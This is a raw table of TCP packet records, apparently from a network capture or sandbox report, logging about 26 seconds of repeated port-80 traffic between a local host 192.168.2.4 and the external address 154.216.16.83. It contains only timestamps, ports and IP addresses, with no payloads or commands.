Dec 14, 2024 21:41:41.475723028 CET	80	50072	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.718446970 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.731229067 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.851128101 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.151982069 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.152424097 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.272931099 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.571419001 CET	80	50072	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.573395014 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.573476076 CET	50072	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.573620081 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.683944941 CET	50075	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.693408966 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.693850994 CET	80	50072	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.694003105 CET	50072	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.804582119 CET	80	50075	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.804755926 CET	50075	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.918180943 CET	50075	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:42.995708942 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:42.996006966 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:43.038589954 CET	80	50075	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:43.116076946 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:43.417296886 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:43.417561054 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:43.537523031 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:43.838603020 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:43.838825941 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:43.959681988 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.106035948 CET	80	50075	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.106204033 CET	50075	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.215600967 CET	50079	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.226886034 CET	80	50075	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.226952076 CET	50075	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.261018991 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.261454105 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.336185932 CET	80	50079	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.336322069 CET	50079	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.381503105 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.449599981 CET	50079	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.570297956 CET	80	50079	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.684334993 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:44.684788942 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:44.804909945 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.106187105 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.106971025 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.228472948 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.529586077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.530179977 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.648762941 CET	80	50079	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.648890018 CET	50079	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.650398970 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.762104988 CET	50085	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.769249916 CET	80	50079	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.769511938 CET	50079	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.882349014 CET	80	50085	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.882420063 CET	50085	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.951260090 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:45.951751947 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:45.996408939 CET	50085	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:46.071994066 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:46.116275072 CET	80	50085	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:46.373908997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:46.389282942 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:46.509131908 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:46.810386896 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:46.810811996 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:46.930705070 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.182393074 CET	80	50085	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.182516098 CET	50085	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.231931925 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.232158899 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.293355942 CET	50091	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.302922010 CET	80	50085	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.302989960 CET	50085	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.352597952 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.415096045 CET	80	50091	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.415285110 CET	50091	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.527909040 CET	50091	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.647833109 CET	80	50091	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.655240059 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:47.655466080 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:47.775382042 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.076905012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.077163935 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.197033882 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.498214960 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.498502016 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.619646072 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.713890076 CET	80	50091	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.714245081 CET	50091	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.824975967 CET	50092	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.834291935 CET	80	50091	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.834367990 CET	50091	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.920768976 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.934542894 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:48.945839882 CET	80	50092	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:48.947191000 CET	50092	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:49.054399967 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:49.068187952 CET	50092	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:49.188173056 CET	80	50092	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:49.355572939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:49.356081963 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:49.475802898 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:49.777282000 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:49.777832031 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:49.897780895 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.198898077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.201890945 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.246700048 CET	80	50092	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.246793985 CET	50092	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.321744919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.355887890 CET	50098	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.366920948 CET	80	50092	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.367054939 CET	50092	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.475703955 CET	80	50098	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.475883961 CET	50098	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.590363026 CET	50098	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.622962952 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.623198032 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:50.710175037 CET	80	50098	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:50.743040085 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.045137882 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.045423985 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:51.165235996 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.474304914 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.474531889 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:51.594413042 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.775391102 CET	80	50098	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.777797937 CET	50098	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:51.887953043 CET	50104	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:51.895529985 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.895939112 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:51.897993088 CET	80	50098	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:51.898047924 CET	50098	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:52.007941961 CET	80	50104	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.008028030 CET	50104	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:52.015904903 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.121347904 CET	50104	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:52.241878033 CET	80	50104	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.317075968 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.317516088 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:52.438380957 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.739185095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:52.743479013 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:52.863353968 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.170154095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.170403004 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.290234089 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.329715967 CET	80	50104	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.329952955 CET	50104	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.435055971 CET	50105	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.450464964 CET	80	50104	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.450716972 CET	50104	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.554877996 CET	80	50105	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.559036970 CET	50105	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.591593981 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.591834068 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.668380022 CET	50105	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:53.711595058 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:53.788187981 CET	80	50105	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.012623072 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.019876957 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:54.139842987 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.475282907 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.578203917 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:54.614258051 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:54.734519958 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.856564045 CET	80	50105	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.856693983 CET	50105	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:54.965313911 CET	50111	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:54.977042913 CET	80	50105	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:54.977102041 CET	50105	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.035706043 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.036181927 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.085397959 CET	80	50111	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.085938931 CET	50111	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.156012058 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.215070009 CET	50111	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.339560986 CET	80	50111	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.457022905 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.457380056 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.577277899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.878758907 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:55.878993034 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:55.999056101 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.300218105 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.300654888 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.385122061 CET	80	50111	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.385340929 CET	50111	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.420840979 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.496745110 CET	50116	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.505776882 CET	80	50111	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.505852938 CET	50111	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.616676092 CET	80	50116	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.616750956 CET	50116	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.721942902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.722228050 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.730717897 CET	50116	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:56.842114925 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:56.850506067 CET	80	50116	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.143007994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.143336058 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:57.263111115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.564349890 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.564615011 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:57.684381008 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.915236950 CET	80	50116	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.915391922 CET	50116	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:57.985344887 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:57.985645056 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.027870893 CET	50117	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.035876989 CET	80	50116	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.035938025 CET	50116	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.105647087 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.147784948 CET	80	50117	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.147866964 CET	50117	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.262181044 CET	50117	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.382571936 CET	80	50117	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.406800985 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.407031059 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.527190924 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.827971935 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:58.828200102 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:58.948100090 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.513055086 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.513483047 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.520617008 CET	80	50117	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.521625042 CET	50117	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.591726065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.591880083 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.634396076 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.637278080 CET	50118	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.643049002 CET	80	50117	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.645355940 CET	50117	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.757210970 CET	80	50118	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.757390022 CET	50118	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.874113083 CET	50118	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.935611010 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:59.936111927 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:59.993866920 CET	80	50118	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:00.056751966 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:00.357620001 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:00.357954025 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:00.477946997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:00.779000998 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:00.779491901 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:00.905433893 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.055995941 CET	80	50118	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.056257963 CET	50118	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.168632984 CET	50119	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.177968979 CET	80	50118	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.178179026 CET	50118	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.206432104 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.206686974 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.288547039 CET	80	50119	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.291160107 CET	50119	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.328082085 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.402631998 CET	50119	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.522542953 CET	80	50119	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.627882004 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:01.685031891 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:01.805608034 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.106401920 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.106820107 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.227166891 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.528120041 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.528687954 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.590140104 CET	80	50119	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.590234995 CET	50119	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.648416042 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.699692965 CET	50120	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.711553097 CET	80	50119	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.711642027 CET	50119	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.823625088 CET	80	50120	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.827233076 CET	50120	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.933994055 CET	50120	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:02.949336052 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:02.950067043 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:03.053869963 CET	80	50120	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:03.069854021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:03.370909929 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:03.371268988 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:03.491097927 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:03.792262077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:03.792541981 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:03.914661884 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.128606081 CET	80	50120	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.128725052 CET	50120	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.215529919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.219459057 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.231360912 CET	50121	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.249191999 CET	80	50120	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.249926090 CET	50120	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.339164972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.351229906 CET	80	50121	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.351303101 CET	50121	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.465105057 CET	50121	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.586133957 CET	80	50121	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.640152931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:04.640399933 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:04.760349035 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.061966896 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.062277079 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.182310104 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.483222961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.483473063 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.604058981 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.672718048 CET	80	50121	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.672853947 CET	50121	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.777961969 CET	50122	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.792922020 CET	80	50121	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.793090105 CET	50121	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.898549080 CET	80	50122	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.898662090 CET	50122	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:05.904727936 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:05.905038118 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:06.012660027 CET	50122	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:06.024673939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:06.132599115 CET	80	50122	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:06.325936079 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:06.326144934 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:06.446502924 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:06.747596979 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:06.751445055 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:06.871272087 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.172372103 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.172595024 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.197437048 CET	80	50122	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.197571039 CET	50122	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.292478085 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.309150934 CET	50123	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.317578077 CET	80	50122	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.317634106 CET	50122	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.429908991 CET	80	50123	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.430026054 CET	50123	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.543354034 CET	50123	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.593580961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.594021082 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:07.668085098 CET	80	50123	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:07.715723038 CET	80	49740	154.216.16.83	192.168.2.4
